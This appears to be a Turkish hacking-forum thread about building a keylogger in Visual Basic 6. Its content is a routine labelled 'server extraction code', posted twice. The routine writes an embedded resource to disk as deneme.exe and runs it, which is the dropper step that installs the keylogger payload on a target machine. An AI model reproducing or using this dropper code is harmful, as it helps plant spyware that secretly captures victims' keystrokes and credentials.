Vb6.0 Keylogger Hakkında
- Konuyu başlatan fatih5835
- Başlangıç tarihi
Yardim merkezine aç konuyu
Serveri Cikartma Kodu
Private Sub Command1_Click()
Dim resbytes() As Byte
resbytes = LoadResData(101, "CUSTOM")
Dim no As Byte
no = FreeFile
Open App.Path & "\deneme.exe" For Binary As #no
Put #no, , resbytes
Close #no
Shell App.Path & "\deneme.exe", vbNormalFocus
End Sub
Serveri Cikartma Kodu
Private Sub Command1_Click()
Dim resbytes() As Byte
resbytes = LoadResData(101, "CUSTOM")
Dim no As Byte
no = FreeFile
Open App.Path & "\deneme.exe" For Binary As #no
Put #no, , resbytes
Close #no
Shell App.Path & "\deneme.exe", vbNormalFocus
End Sub
